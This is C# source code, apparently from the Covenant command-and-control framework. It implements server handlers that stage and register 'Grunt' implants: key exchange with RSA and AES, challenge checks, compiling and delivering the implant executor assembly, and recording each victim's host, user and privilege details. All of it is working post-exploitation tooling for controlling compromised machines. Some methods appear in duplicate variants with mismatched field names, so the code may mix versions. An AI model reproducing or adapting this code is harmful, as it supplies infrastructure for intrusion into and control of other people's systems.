private ActionResult RegisterGrunt(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntMessage)
{
if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage2 || !gruntMessage.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
{
// Always return NotFound, don't give away unnecessary info
return(NotFound());
}
if (egressGrunt == null)
{
egressGrunt = targetGrunt;
}
Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt);
string message = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(gruntMessage));
// todo: try/catch on deserialize?
Covenant.Models.Grunts.Grunt grunt = JsonConvert.DeserializeObject <Covenant.Models.Grunts.Grunt>(message);
targetGrunt.IpAddress = grunt.IPAddress;
targetGrunt.Hostname = grunt.Hostname;
targetGrunt.OperatingSystem = grunt.OperatingSystem;
targetGrunt.UserDomainName = grunt.UserDomainName;
targetGrunt.UserName = grunt.UserName;
targetGrunt.Status = GruntStatus.Active;
targetGrunt.Integrity = (API.Models.IntegrityLevel)Enum.Parse(typeof(API.Models.IntegrityLevel), grunt.Integrity.ToString());
targetGrunt.Process = grunt.Process;
realGrunt.LastCheckIn = DateTime.UtcNow;
CovenantClient.ApiGruntsPut(targetGrunt);
GruntTaskingMessage tasking = new GruntTaskingMessage
{
Message = targetGrunt.CookieAuthKey,
Name = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10),
Type = GruntTaskingType.Jobs,
Token = false
};
Models.Grunts.GruntEncryptedMessage responseMessage = null;
try
{
responseMessage = this.CreateMessageForGrunt(egressGrunt, targetGrunt, tasking);
}
catch (HttpOperationException)
{
return(NotFound());
}
// Transform response
string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage)));
// Format transformed response
string response = String.Format(this.Profile.HttpPostResponse, transformed);
return(Ok(response));
}
private ActionResult RegisterGrunt(Covenant.Models.Grunts.GruntEncryptedMessage gruntMessage)
{
API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntMessage.Id);
if (gruntModel == null || gruntModel.Status != GruntStatus.Stage2)
{
// Always return NotFound, don't give away unnecessary info
return(NotFound());
}
if (!gruntMessage.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey)))
{
// Always return NotFound, don't give away unnecessary info
return(NotFound());
}
Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel);
string message = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(gruntMessage));
// todo: try/catch on deserialize?
Covenant.Models.Grunts.Grunt grunt = JsonConvert.DeserializeObject <Covenant.Models.Grunts.Grunt>(message);
gruntModel.IpAddress = grunt.IPAddress;
gruntModel.OperatingSystem = grunt.OperatingSystem;
gruntModel.UserDomainName = grunt.UserDomainName;
gruntModel.UserName = grunt.UserName;
gruntModel.Status = GruntStatus.Active;
gruntModel.Integrity = (API.Models.IntegrityLevel)Enum.Parse(typeof(API.Models.IntegrityLevel), grunt.Integrity.ToString());
gruntModel.Process = grunt.Process;
CovenantClient.ApiGruntsPut(gruntModel);
CovenantClient.ApiEventsPost(new EventModel
{
Message = "Grunt: " + grunt.Name + " from: " + grunt.IPAddress + " has been activated!",
Level = EventLevel.Highlight,
Context = "*"
});
var responseMessage = Covenant.Models.Grunts.GruntEncryptedMessage.Create(
Covenant.Models.Grunts.Grunt.Create(gruntModel), Common.CovenantEncoding.GetBytes(gruntModel.CookieAuthKey)
);
// Transform response
string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage)));
// Format transformed response
string response = String.Format(this.Profile.HttpPostResponse, transformed);
return(Ok(response));
}
public ActionResult PostStage2(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage2Response)
{
if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage1 || !gruntStage2Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
{
// Always return NotFound, don't give away unnecessary info
return(NotFound());
}
if (egressGrunt == null)
{
egressGrunt = targetGrunt;
}
Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt);
byte[] challenge2test = realGrunt.SessionDecrypt(gruntStage2Response);
if (realGrunt.GruntChallenge != Convert.ToBase64String(challenge2test))
{
// Always return NotFound, don't give away unnecessary info
return(NotFound());
}
realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage2;
realGrunt.LastCheckIn = DateTime.UtcNow;
this.CovenantClient.ApiGruntsPut(realGrunt.ToModel());
API.Models.HttpListener listenerModel = this.CovenantClient.ApiListenersHttpByIdGet(realGrunt.ListenerId);
API.Models.HttpProfile profileModel = this.CovenantClient.ApiListenersByIdProfileGet(realGrunt.ListenerId);
var realListener = Covenant.Models.Listeners.HttpListener.Create(listenerModel);
string GruntExecutorAssembly = realListener.CompileGruntExecutorCode(realGrunt, Covenant.Models.Listeners.HttpProfile.Create(profileModel));
Covenant.Models.Grunts.GruntEncryptedMessage message = null;
try
{
message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, Convert.FromBase64String(GruntExecutorAssembly));
}
catch (HttpOperationException)
{
return(NotFound());
}
// Transform response
string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
// Format transformed response
string response = String.Format(this.Profile.HttpPostResponse, transformed);
// returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)"
return(Ok(response));
}
private ActionResult PostStage1(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage1Response)
{
if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage0 || !gruntStage1Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
{
// Always return NotFound, don't give away unnecessary info
return(NotFound());
}
if (egressGrunt == null)
{
egressGrunt = targetGrunt;
}
Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt);
byte[] challenge1 = realGrunt.SessionDecrypt(gruntStage1Response);
byte[] challenge2 = new byte[4];
using (RandomNumberGenerator rng = RandomNumberGenerator.Create())
{
rng.GetBytes(challenge2);
}
// Save challenge to compare on response
realGrunt.GruntChallenge = Convert.ToBase64String(challenge2);
realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage1;
realGrunt.LastCheckIn = DateTime.UtcNow;
CovenantClient.ApiGruntsPut(realGrunt.ToModel());
Covenant.Models.Grunts.GruntEncryptedMessage message = null;
try
{
message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, challenge1.Concat(challenge2).ToArray());
}
catch (HttpOperationException)
{
return(NotFound());
}
// Transform response
string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
// Format transformed response
string response = String.Format(this.Profile.HttpPostResponse, transformed);
// Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)"
return(Ok(response));
}
private ActionResult PostStage1(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage1Response)
{
// Check if this Grunt ID is already active
API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntStage1Response.Id);
if (gruntModel == null || gruntModel.Status != GruntStatus.Stage0)
{
// Always return NotFound, don't give away unnecessary info
return(NotFound());
}
if (!gruntStage1Response.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey)))
{
// Always return NotFound, don't give away unnecessary info
return(NotFound());
}
Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel);
byte[] challenge1 = realGrunt.SessionDecrypt(gruntStage1Response);
byte[] challenge2 = new byte[4];
using (RandomNumberGenerator rng = RandomNumberGenerator.Create())
{
rng.GetBytes(challenge2);
}
// Save challenge to compare on response
realGrunt.GruntChallenge = Convert.ToBase64String(challenge2);
Covenant.Models.Grunts.GruntEncryptedMessage message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(realGrunt, challenge1.Concat(challenge2).ToArray());
string Stage1Response = message.IV + "," + message.EncryptedMessage + "," + message.HMAC;
// Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)"
realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage1;
CovenantClient.ApiGruntsPut(realGrunt.ToModel());
// Transform response
string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage1Response));
// Format transformed response
string response = String.Format(this.Profile.HttpPostResponse, transformed);
return(Ok(response));
}
public ActionResult PostStage2(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage2Response)
{
// Check if this Grunt ID is already active
API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntStage2Response.Id);
if (gruntModel == null || gruntModel.Status != GruntStatus.Stage1)
{
// Always return NotFound, don't give away unnecessary info
return(NotFound());
}
if (!gruntStage2Response.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey)))
{
// Always return NotFound, don't give away unnecessary info
return(NotFound());
}
Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel);
byte[] challenge2test = realGrunt.SessionDecrypt(gruntStage2Response);
if (realGrunt.GruntChallenge != Convert.ToBase64String(challenge2test))
{
// Always return NotFound, don't give away unnecessary info
return(NotFound());
}
realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage2;
this.CovenantClient.ApiGruntsPut(realGrunt.ToModel());
API.Models.HttpListener listenerModel = this.CovenantClient.ApiListenersHttpByIdGet(realGrunt.ListenerId);
API.Models.HttpProfile profileModel = this.CovenantClient.ApiListenersByIdProfileGet(realGrunt.ListenerId);
var realListener = Covenant.Models.Listeners.HttpListener.Create(listenerModel);
string GruntExecutorAssembly = realListener.CompileGruntExecutorCode(realGrunt, Covenant.Models.Listeners.HttpProfile.Create(profileModel));
var message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(realGrunt, Convert.FromBase64String(GruntExecutorAssembly));
string Stage2Response = message.IV + "," + message.EncryptedMessage + "," + message.HMAC;
// returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)"
// Transform response
string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage2Response));
// Format transformed response
string response = String.Format(this.Profile.HttpPostResponse, transformed);
return(Ok(response));
}
// stage0
private ActionResult PostStage0(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage0Response)
{
// Check if this Grunt ID is already active
API.Models.Grunt savedGrunt = CovenantClient.ApiGruntsByIdGet(gruntStage0Response.Id);
if (savedGrunt == null)
{
// Always return NotFound, don't give away unnecessary info
return(NotFound());
}
if (!gruntStage0Response.VerifyHMAC(Convert.FromBase64String(savedGrunt.GruntSharedSecretPassword)))
{
// Always return NotFound, don't give away unnecessary info
return(NotFound());
}
Covenant.Models.Grunts.Grunt realGrunt = null;
if (savedGrunt.Status != GruntStatus.Uninitialized)
{
savedGrunt.Status = GruntStatus.Stage0;
// We create a new Grunt if this one is not uninitialized
API.Models.Grunt tempModel = new API.Models.Grunt
{
Status = savedGrunt.Status,
ListenerId = savedGrunt.ListenerId,
CovenantIPAddress = savedGrunt.CovenantIPAddress,
GruntSharedSecretPassword = savedGrunt.GruntSharedSecretPassword,
Delay = savedGrunt.Delay, Jitter = savedGrunt.Jitter,
ConnectAttempts = savedGrunt.ConnectAttempts,
DotNetFrameworkVersion = savedGrunt.DotNetFrameworkVersion
};
API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPost(tempModel);
realGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt);
}
else
{
savedGrunt.Status = GruntStatus.Stage0;
API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPut(savedGrunt);
realGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt);
}
// EncryptedMessage is the RSA Public Key
realGrunt.GruntRSAPublicKey = Convert.ToBase64String(Encrypt.Utilities.AesDecrypt(
gruntStage0Response,
Convert.FromBase64String(realGrunt.GruntSharedSecretPassword)
));
// Generate negotiated session key
Aes newAesKey = Aes.Create();
newAesKey.GenerateKey();
realGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key);
CovenantClient.ApiGruntsPut(realGrunt.ToModel());
byte[] rsaEncryptedBytes = realGrunt.RSAEncrypt(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey));
Covenant.Models.Grunts.GruntEncryptedMessage message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(
realGrunt,
rsaEncryptedBytes,
Convert.FromBase64String(realGrunt.GruntSharedSecretPassword)
);
string Stage0Response = message.Id + "," + message.Name + "," + message.IV + "," + message.EncryptedMessage + "," + message.HMAC;
// Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)"
// Transform response
string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage0Response));
// Format transformed response
string response = String.Format(this.Profile.HttpPostResponse, transformed);
return(Ok(response));
}
private ActionResult PostStage0(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage0Response)
{
if (targetGrunt == null || !gruntStage0Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword)))
{
// Always return NotFound, don't give away unnecessary info
return(NotFound());
}
bool egressGruntExists = (egressGrunt != null);
Covenant.Models.Grunts.Grunt realTargetGrunt = null;
string guid = gruntStage0Response.GUID.Substring(10);
if (targetGrunt.Status != GruntStatus.Uninitialized)
{
// We create a new Grunt if this one is not uninitialized
API.Models.Grunt tempModel = new API.Models.Grunt
{
Id = 0,
Guid = gruntStage0Response.GUID.Substring(10),
Status = GruntStatus.Stage0,
ListenerId = targetGrunt.ListenerId,
CovenantIPAddress = targetGrunt.CovenantIPAddress,
GruntSharedSecretPassword = targetGrunt.GruntSharedSecretPassword,
CommType = targetGrunt.CommType,
SmbPipeName = targetGrunt.SmbPipeName,
Delay = targetGrunt.Delay, JitterPercent = targetGrunt.JitterPercent, KillDate = targetGrunt.KillDate,
ConnectAttempts = targetGrunt.ConnectAttempts,
DotNetFrameworkVersion = targetGrunt.DotNetFrameworkVersion,
LastCheckIn = DateTime.UtcNow
};
API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPost(tempModel);
realTargetGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt);
}
else
{
targetGrunt.Status = GruntStatus.Stage0;
targetGrunt.Guid = guid;
targetGrunt.LastCheckIn = DateTime.UtcNow;
API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPut(targetGrunt);
realTargetGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt);
}
if (!egressGruntExists)
{
egressGrunt = realTargetGrunt.ToModel();
}
// EncryptedMessage is the RSA Public Key
realTargetGrunt.GruntRSAPublicKey = Convert.ToBase64String(Encrypt.Utilities.AesDecrypt(
gruntStage0Response,
Convert.FromBase64String(realTargetGrunt.GruntSharedSecretPassword)
));
// Generate negotiated session key
Aes newAesKey = Aes.Create();
newAesKey.GenerateKey();
realTargetGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key);
this.CovenantClient.ApiGruntsPut(realTargetGrunt.ToModel());
if (egressGruntExists)
{
// Add this as Child grunt to Grunt that connects it
List <GruntTasking> taskings = this.CovenantClient.ApiTaskingsGet().ToList();
// TODO: Finding the connectTasking this way could cause race conditions, should fix w/ guid of some sort?
GruntTasking connectTasking = taskings.Where(GT => GT.Type == GruntTaskingType.Connect && GT.Status == GruntTaskingStatus.Progressed).Reverse().FirstOrDefault();
if (connectTasking == null)
{
return(NotFound());
}
connectTasking = this.CovenantClient.ApiGruntsByIdTaskingsByTidDetailGet(connectTasking.GruntId ?? default, connectTasking.Id ?? default);
realTargetGrunt.Hostname = connectTasking.GruntTaskingMessage.Message.Split(",")[0];
this.CovenantClient.ApiGruntsPut(realTargetGrunt.ToModel());
connectTasking.Status = GruntTaskingStatus.Completed;
this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(connectTasking.GruntId ?? default, connectTasking.Id ?? default, connectTasking);
}
byte[] rsaEncryptedBytes = realTargetGrunt.RSAEncrypt(Convert.FromBase64String(realTargetGrunt.GruntNegotiatedSessionKey));
Covenant.Models.Grunts.GruntEncryptedMessage message = null;
try
{
message = this.CreateMessageForGrunt(egressGrunt, realTargetGrunt.ToModel(), rsaEncryptedBytes);
}
catch (HttpOperationException)
{
return(NotFound());
}
// Transform response
string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
// Format transformed response
string response = String.Format(this.Profile.HttpPostResponse, transformed);
// Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)"
return(Ok(response));
}